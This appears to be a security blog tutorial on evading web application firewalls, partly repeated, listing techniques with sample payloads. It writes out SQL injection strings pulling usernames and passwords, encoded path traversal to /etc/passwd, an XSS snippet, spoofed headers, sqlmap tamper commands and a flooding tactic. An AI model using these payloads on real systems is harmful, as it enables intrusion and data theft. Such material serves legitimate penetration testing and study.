🛡️ How to Bypass Web Application Firewalls (WAFs)

Web Application Firewalls (WAFs) are like the bouncers of the interne

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🛡️ How to Bypass Web Application Firewalls (WAFs)

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Hey 👋,

Web Application Firewalls (WAFs) are like the bouncers of the internet 🥷 — they stand at the door of a website, checking everyone’s requests and kicking out anything suspicious. They protect websites from attacks like SQL Injection, XSS, file inclusion, and more.

But here’s the thing: no security control is bulletproof. Just like a determined hacker can sweet-talk or trick a bouncer, skilled penetration testers and red teamers know how to bypass WAFs.

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🛡️ Understanding What a WAF Does

A WAF sits between the user and the web application, filtering traffic based on rules.
It can be:

• Network-based (hardware appliance in data centers)

• Cloud-based (AWS WAF, Cloudflare, Imperva)

• Host-based (software on the web server)

They block common attack payloads based on patterns. For example:

SELECT * FROM users WHERE id='1' OR '1'='1'

A WAF will detect this as SQL Injection 🚨 and block it.

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🎯 Why Bypass a WAF?

• Bug Bounty Hunting — Some high-paying bugs are hidden behind WAF rules.

• Penetration Testing — Testing real-world security for clients.

• Security Research — Finding flaws in WAF logic for academic/technical purposes.

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🧠 WAF Bypass Techniques

Let’s break down practical ways hackers bypass WAFs — with examples and tools you can try in a legal environment like DVWA or Juice Shop.

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🔍 What is a Web Application Firewall (WAF)?

A WAF is a shield between a user and a web application.
It filters HTTP/HTTPS requests, looking for malicious patterns like:

• SQL Injection

• Cross-Site Scripting (XSS)

• Local File Inclusion (LFI)

• Command Injection

Popular WAFs:

• Cloudflare 🟠

• AWS WAF ☁️

• Imperva

• Akamai Kona

• F5 BIG-IP

• Sucurity

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💡 Pro Tip: Before you bypass, you need to identify the WAF.
Try WAFW00F:

pip install wafw00f
wafw00f https://target.com

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🧠 The Hacker’s Mindset for WAF Bypass

A WAF is basically a pattern-matching machine.
It doesn’t “understand” your intent — it just matches your request against known signatures and rules.

Your job is to:

1. Confuse the pattern detection without breaking the payload’s meaning.

2. Change the syntax in ways the server still understands but the WAF doesn’t.

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🎯 Step 1: Recon & Fingerprinting

Before attacking:

• Identify what WAF is in use (Cloudflare? AWS WAF?)

• Check how strict its rules are.

• Find entry points — parameters, headers, POST bodies, JSON inputs.

🛠 Tools:

• WAFW00F — WAF detection

• WhatWaf — Automated WAF fingerprinting

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🚀 Bypass Techniques (With Examples)

Here’s where it gets fun.

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1️⃣ Payload Obfuscation

Instead of:

?id=1 UNION SELECT username,password FROM users

Try:

• Mixed case:

uNiOn SeLeCt

• SQL comments:

UNION/**/SELECT

• URL encoding:

%55nion%20%53elect

• Double encoding:

%2555nion%2520%2553elect

💡 Tool: SQLMap Tamper Scripts

Example:

sqlmap -u "https://target.com/?id=1" --tamper=space2comment

2️⃣ Alternate Syntax for the Same Payload

MySQL accepts:

/*!50000UNION*/ SELECT

PostgreSQL allows:

' UNION ALL SELECT NULL --

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3️⃣ Encoding Everything

• Base64: Encode payload and let backend decode.

• Hex:

0x61646d696e

• Unicode/UTF-8:

\u0055NION

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4️⃣ HTTP Method Tricks

Some WAFs only inspect GET/POST.

Try:

• HEAD /path HTTP/1.1

• OPTIONS /path

• TRACE /path

Or override with:

makefile

CopyEdit

X-HTTP-Method-Override: PUT

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5️⃣ Path Manipulation

For LFI:

/etc/passwd

Becomes:

..%2f..%2fetc/passwd
..%252f..%252fetc/passwd

Or double slashes:

/..//..//etc/passwd

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6️⃣ Chunking Payloads

Break the payload across parameters:

?id=UNION
&id2=SELECT

Some backends reassemble these after WAF inspection.

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7️⃣ Switching Content Types

Send payload in JSON instead of application/x-www-form-urlencoded:

{"id":"1 UNION SELECT username,password FROM users"

Or XML

<![CDATA[<script>alert(1)</script>]]>

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8️⃣ Rate & Timing Attacks

Some WAFs relax rules under high traffic.

Steps:

1. Flood with normal requests.

2. Slip in malicious payload during overload.

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9️⃣ IP & Host Header Manipulation

If WAF is IP-based:

Host: localhost
X-Forwarded-For: 127.0.0.1

Sometimes bypasses rules meant for external traffic.

1️⃣ Payload Obfuscation 🌀

WAFs look for specific patterns in requests. If you obfuscate (make it look different but still work), you can slip past.

Example: SQL Injection payload

UNION SELECT null, username, password FROM users

Blocked? Try:

UNI/**/ON SEL/**/ECT null, username, password FROM users

Or encode:

%55nion%20%53elect

📌 Tools:

• sqlmap — Has WAF bypass tamper scripts

• WAFNinja — Automates bypass attempts

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2️⃣ Case Switching 🆎

WAFs often match lowercase payloads. Mixing cases can help:

SeLeCt * FrOm users

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3️⃣ URL Encoding & Double Encoding 🔐

Some WAFs decode only once. If you double encode payloads, they might miss the malicious part.

Example:

' OR '1'='1

URL encode once:

%27%20OR%20%271%27%3D%271

Double encode:

%2527%2520OR%2520%25271%2527%253D%25271

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4️⃣ Using JSON Instead of URL Params 📦

Some WAFs only inspect query strings, not JSON bodies.
If the API supports JSON, send:

{"id":"1 OR 1=1"}

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5️⃣ HTTP Parameter Pollution (HPP) 🧪

Send multiple parameters with the same name to confuse the backend:

?id=1&id=2 OR 1=1

📌 Tool: HPP Finder

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6️⃣ Changing Request Method 🔄

Some WAFs only inspect GET requests but miss POST or PUT.

Example: Move your SQL payload from URL to POST body.

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7️⃣ Alternate Content Types 📑

Try sending payloads in:

• Content-Type: application/json

• Content-Type: application/xml

• multipart/form-data

📌 Tool: Burp Suite makes it easy to test.

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8️⃣ Path & Host Header Tricks 🛣️

WAFs sometimes whitelist certain domains/paths. Try:

• Adding /..;/ in paths: /..;/login

• Changing Host: header to bypass routing rules

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9️⃣ Leveraging Backend Differences ⚙️

Sometimes the WAF and backend interpret payloads differently.
Example: MySQL treats --+ as comment, but WAF may not detect it.

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🔟 Using Encoding Layers

Chain multiple encodings: Base64 inside JSON inside URL encoding.

Example:

echo -n "' OR '1'='1" | base64

Then send in an encoded param.

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🔧 Recommended WAF Bypass Tools

• sqlmap — With --tamper options

• WAFW00F — Detect WAF type

• WAFNinja — Payload obfuscation

• FuzzDB — Huge payload database

• Burp Suite Community — Manual fuzzing

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🚀 Final Thoughts

Bypassing a WAF is not about magic payloads — it’s about understanding how the WAF works and exploiting the gaps between its rules and the backend logic.

The more you understand HTTP, encoding, and web app behavior, the better your chances.

If you’re into bug bounty or pen testing, master these tricks in a lab first. Practice on:

• DVWA (Damn Vulnerable Web App)

• OWASP Juice Shop

• bWAPP

🔗 Extra Reading:

• OWASP WAF Security

• PayloadsAllTheThings — WAF Bypass

💬 Have you ever bypassed a WAF in a legal bug bounty? Share your craziest payload in the comments ⬇️

👋 Stay Connected

If you enjoyed this guide and want more practical tutorials, recon checklists, and hacker strategies, stay in touch:

• 📬 FREE Newsletter: thehackerslog.substack.com

• 📸 Twitter (X): @VipulSonule

• 🧑‍💼 LinkedIn: Vipul Sonule

• ✍️ Medium: Vipul Sonule

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